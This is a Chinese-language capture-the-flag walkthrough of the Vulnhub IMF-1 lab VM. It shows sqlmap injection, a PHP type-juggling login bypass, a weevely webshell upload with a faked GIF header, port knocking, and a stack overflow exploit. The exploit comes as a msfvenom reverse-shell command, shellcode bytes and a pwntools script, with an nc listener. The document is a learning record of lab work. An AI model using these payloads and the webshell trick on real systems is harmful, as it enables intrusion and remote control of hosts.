Vulnhub Imf-1 简单记录
描述
Welcome to "IMF", my first Boot2Root virtual machine. IMF is a intelligence agency that you must hack to get all flags and ultimately root. The flags start off easy and get harder as you progress. Each flag contains a hint to the next flag. I hope you enjoy this VM and learn something.
Difficulty: Beginner/Moderate
Can contact me at: geckom at redteamr dot com or on Twitter: @g3ck0m
参考题解
vulnhub靶机:IMF缓冲区提权渗透 - FreeBuf网络安全行业门户
过程记录
VMware安装靶机时网络设配器默认为桥接,改为NAT模式
nmap扫描
初步获得靶机IP192.168.5.136,利用-sV进行进一步扫描发现80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
尝试在浏览器中访问IP,成功,
依据网上WP的提示,在contact.php源码中发现
<!-- flag1{YWxsdGhlZmlsZXM=} -->猜测为Base64编码,解码结果为
allthefiles

最后3个文件名有点奇怪;最后拼凑为ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ=解码为flag2{aW1mYWRtaW5pc3RyYXRvcg==},进一步解码为imfadministrator,有一点像登录名?
依据题解直接访问
IP/imfadministrator;阅读源码发现提示< I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger>通过提示得知了利用PHP 数组'[]'绕过,登录成功
flag3{Y29udGludWVUT2Ntcw==},解码为continueTOcms
代码审计之弱类型绕过_$_get['a'];-CSDN博客
在上一步中继续访问页面,观察页面,猜测存在sql注入点:http://192.168.5.136/imfadministrator/cms.php?pagename=home,利用sqlmap进行爆破sqlmap -u "http://192.168.5.136/imfadministrator/cms.php?pagename=" --dump --batch --cookie 'PHPSESSID=h40f1jak6md9rq4ot2r9rco8s0' --risk=3 --level=5
在自己尝试时并没有使用
--risk && --level参数,这个有和没有的不一样在哪里呢?
level 是指探测等级,默认为1,主要影响payload的使用以及测试的注入点范围,如果不确定注入点时可以使用高的level值;
risk时风险等级,值越高,对表造成的破坏的可能性就越大; 默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

查看pages.csv,获得网址http://192.168.5.136/imfadministrator/cms.php?pagename=tutorials-incomplete,扫描图中二维码获得flag4{dXBsb2Fkcjk0Mi5waHA=},解码为uploadr942.php;
编写1.php含一句话木马进行上传,提示Error: Invalid file type.,然后利用burpsuit该文件名后缀为txt,随后尝试jpg,png均失败,猜测不仅使用后缀名进行判断;
WP: 则猜测使用文件格式进行判断;利用weevely生成php木马;
weevely generate test my.php,并在文件开头加上git文件头GIF89,上传成功,并在上传后的网页源码中发现上传后的文件名bae80502d4c8,经测试后获得上传后的路径为/imfadministrator/uploads,使用weevely进行连接后,发现flag5:flag5{YWdlbnRzZXJ2aWNlcw==},解码为agentservices; 利用命令weevely http://192.168.5.136/imfadministrator/uploads/bae80502d4c8.gif test连接命令行;通过连接后的命令行搜索
agent,前往www-data@imf:/var/www/html $ cd /usr/local/bin/ www-data@imf:/usr/local/bin $ ls -al total 24 drwxr-xr-x 2 root root 4096 Oct 16 2016 . drwxr-xr-x 10 root root 4096 Sep 22 2016 .. -rw-r--r-- 1 root root 19 Oct 16 2016 access_codes -rwxr-xr-x 1 root root 11896 Oct 12 2016 agent www-data@imf:/usr/local/bin $ ./agent运行agent服务;
端口试探:查看access_code文件:SYN 7482,8279,9467;
端口碰撞是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接;下载agent到本地进行分析
可以利用knock来完成
使用IDA进行查看:

先判断s2与输入,


发现在report函数中存在不安全函数gets;利用cyclic进行定位,偏移为168;
且通过IDA反编译可知:

在最后retn时,eax是指向栈中<ebp+s>的位置的;就相当于gets最开始输入的位置,所以我们只需要利用gets(s)将shellcode放在变量s的起始位置,在retn时使EIP指向jmp eax,即可执行我们所需的shellcode;最终exp的构造如下:shellcode + 'a'*(168-len(shellcode))+ addr(jmp eax);
shellcode生成
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=6666 -f py -b '\x00\x0a\x0b' -o
shellcode.py
在最后完成利用前,我需要一点python与socket通信的内容;
学了一点,不过最后实现还是利用pwntools中的函数完成的;
from pwn import *
import socket
rhost = '192.168.5.136'
rport = 7788
### make payload
shellcode = b""
shellcode += b"\xd9\xd0\xbf\x0e\x9e\x31\xd2\xd9\x74\x24\xf4\x5d"
shellcode += b"\x33\xc9\xb1\x12\x31\x7d\x17\x03\x7d\x17\x83\xe3"
shellcode += b"\x62\xd3\x27\xca\x41\xe3\x2b\x7f\x35\x5f\xc6\x7d"
shellcode += b"\x30\xbe\xa6\xe7\x8f\xc1\x54\xbe\xbf\xfd\x97\xc0"
shellcode += b"\x89\x78\xd1\xa8\xc9\xd3\x24\xaa\xa2\x21\x27\xb0"
shellcode += b"\x38\xaf\xc6\x74\x5a\xff\x59\x27\x10\xfc\xd0\x26"
shellcode += b"\x9b\x83\xb1\xc0\x4a\xab\x46\x78\xfb\x9c\x87\x1a"
shellcode += b"\x92\x6b\x34\x88\x37\xe5\x5a\x9c\xb3\x38\x1c"
jmp_eax = p32(0x08048563)
buf = b'a'* (168 - len(shellcode))
payload = shellcode + buf + jmp_eax + b'\n'
######### connect agent
#### pwntools --- 连接
r = remote(rhost, rport)
r.recvuntil(b'\nAgent ID : ')
r.sendline(b'48093572')
r.recvuntil(b'Enter selection: ')
r.sendline(b'3')
r.recvuntil(b'report update: ')
r.sendline(payload)
'''
#### socket --- 连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
text_data = s.recv(1024).decode()
print(text_data)
s.send(b"48093572\n")
text_data = s.recv(1024).decode()
print(text_data)
s.send(b"3\n")
s.send(payload)
stext_data = s.recv(1024).decode()
print(text_data)
print('\n[+] Completed.')
'''
一个终端执行nc -lvp 6666监听反弹shell的请求;另一个终端执行exp.py使agent程序通过缓冲区溢出执行反弹shell对应的shellcode;
提权成功!


最后一个flag为flag6{R2gwc3RQcm90MGMwbHM=},解码为Gh0stProt0c0ls
遇到的问题:注意socket通信需要
\n作为结尾
总结
在这次的靶机的学习中,了解了php的弱类型及绕过:
传入数组类型的数据会使strcmp()返回0,md5返回NULL、strops()返回NULL,使sha1()函数报错返回false;
以及关于利用科学计数法处理md4()和md5()函数,当加密后的值前两位0e时,会将整个值认为0从而不处理之后的字符串(需要后面的字符串全为数字),利用起始相同的方法进行绕过;
以及利用==在判断相同前会进行类型转换,而php对于字符串转换为数值型时,若字符串起始位置不为合法数值则默认转换为0,而字符串中存在.|E|e,且数值的值在整型范围内,会转换为浮点型数据;
%00会让erge()搜索截断,在%00之后的数值函数无法识别;
更加熟悉了sqlmap的参数设置;
以及最后的缓冲区溢出,对gdb & pwntools进行一些学习与配置;


浙公网安备 33010602011771号